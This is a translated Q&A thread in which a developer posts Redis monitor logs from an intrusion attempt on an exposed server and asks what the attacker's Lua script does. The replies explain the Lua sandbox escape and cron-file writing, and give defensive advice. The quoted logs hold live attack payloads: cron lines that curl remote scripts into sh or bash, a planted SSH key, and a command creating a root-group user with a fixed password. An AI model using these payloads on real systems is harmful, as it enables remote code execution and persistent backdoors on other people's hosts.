bash - 尝试通过 redis 开放端口攻击主机

Question

我的开发机器上有带开放端口的 Redis，最近有人试图通过 Redis 访问我的主机，我有带有 Redis montiroing 的控制台，这些是用来获取访问权限的命令。我也为一些命令提供日期时间。

GMT: Monday, August 21, 2017 4:47:53.384 AM [0 74.82.47.3:46986]     "INFO"
[0 94.74.81.202:55564]   "COMMAND"
[0 94.74.81.202:55564]   "flushall"
[0 94.74.81.202:55606]   "COMMAND"

GMT: Monday, August 21, 2017 9:21:43.586 AM [0 94.74.81.202:55606]   "set" "crackit" "\n\n\nssh-rsa .....<ssh_key>.... redis@redis.io\n\n\n\n"
[0 94.74.81.202:55646]   "COMMAND"
[0 185.163.109.66:40470] "INFO"
[0 185.163.109.66:40470] "SCAN" "9000"
[0 74.82.47.5:39660]     "INFO"
[0 98.142.140.13:51586]  "INFO"
[0 98.142.140.13:51586]  "SET" "sxyxgboqet" "\n\n*/1 * * * * /usr/bin/curl -fsSL http://98.142.140.13:8220/test11.sh | sh\n\n"
[0 52.14.111.241:58464]  "SET" "lololili" "\n\n*/1\t*\t*\t*\t*\troot\tcurl http://112.74.29.139:8898/1.sh|bash\n\n"
[0 106.2.120.103:41329]  "INFO"
GMT: Tuesday, August 22, 2017 9:56:04.350 PM [0 178.62.175.211:58716] "eval" "local asnum ... see link below "

... the full lua script ...

[0 184.105.247.252:33152] "INFO"
GMT: Wednesday, August 23, 2017 7:18:35.995 AM [0 52.14.111.241:49208]   "SET" "lololili" "\n\n*/1\t*\t*\t*\t*\troot\t(useradd -G root axis2;(echo 'asdf1234' | passwd --stdin axis2) || (echo 'axis2:
asdf1234' |chpasswd));crontab -r;:>/etc/crontab;\n\n"
GMT: Wednesday, August 23, 2017 6:04:36.397 PM [0 98.142.140.13:43540]   "INFO"
GMT: Thursday, August 24, 2017 5:22:26.931  AM [0 216.218.206.68:19396]  "INFO"

我的 redis.log 文件中的这些行

22 Aug 09:59:29.865 AM * RDB: 6 MB of memory used by copy-on-write
22 Aug 09:59:29.951 AM * Background saving terminated with success
22 Aug 09:59:30.137 AM # Failed opening the RDB file crontab (in server root dir /etc) for saving: Permission denied
23 Aug 07:18:36.049 AM * 1 changes in 900 seconds. Saving...
23 Aug 07:18:36.052 AM * Background saving started by pid 25388
23 Aug 07:18:36.054 AM # Failed opening the RDB file crontab (in server root dir /etc) for saving: Permission denied
23 Aug 07:18:36.153 AM # Background saving error
............. 
repeated every 6 minutes

谁能解释一下 lua 脚本到底在做什么？根据 redis 日志，我猜，它试图评估保存在“lololili”键中的 bash 命令。

提前致谢。

Answer 1

您好，这是对您机器的入侵尝试。 如果没有适当的防火墙，你不应该在互联网上暴露你的 redis。

从我看到的内容来看，我猜这个人正试图退出 lua sandobx。

如果你有一个开放的 redis 服务器，有多种方法可以破解你的机器。

• 通过退出 lua 沙箱(在 redis 2.8.4 上成功尝试，对附加的要点进行了一些修改)
• 通过上传不良脚本，试图让您或您的软件错误地执行它们。 (起诉数据库

一些关于lua sandbox exit的引用

• http://benmmurphy.github.io/blog/2015/06/04/redis-eval-lua-sandbox-escape/
• https://gist.github.com/firsov/4393cc162ff87e00324a6a53a353bda2

和redis文件上传

• https://packetstormsecurity.com/files/134200/Redis-Remote-Command-Execution.html

你应该检查你主机上任何属于redis的文件

find / -user redis

如果您什么也没找到，对您有好处，但要保护您的服务器。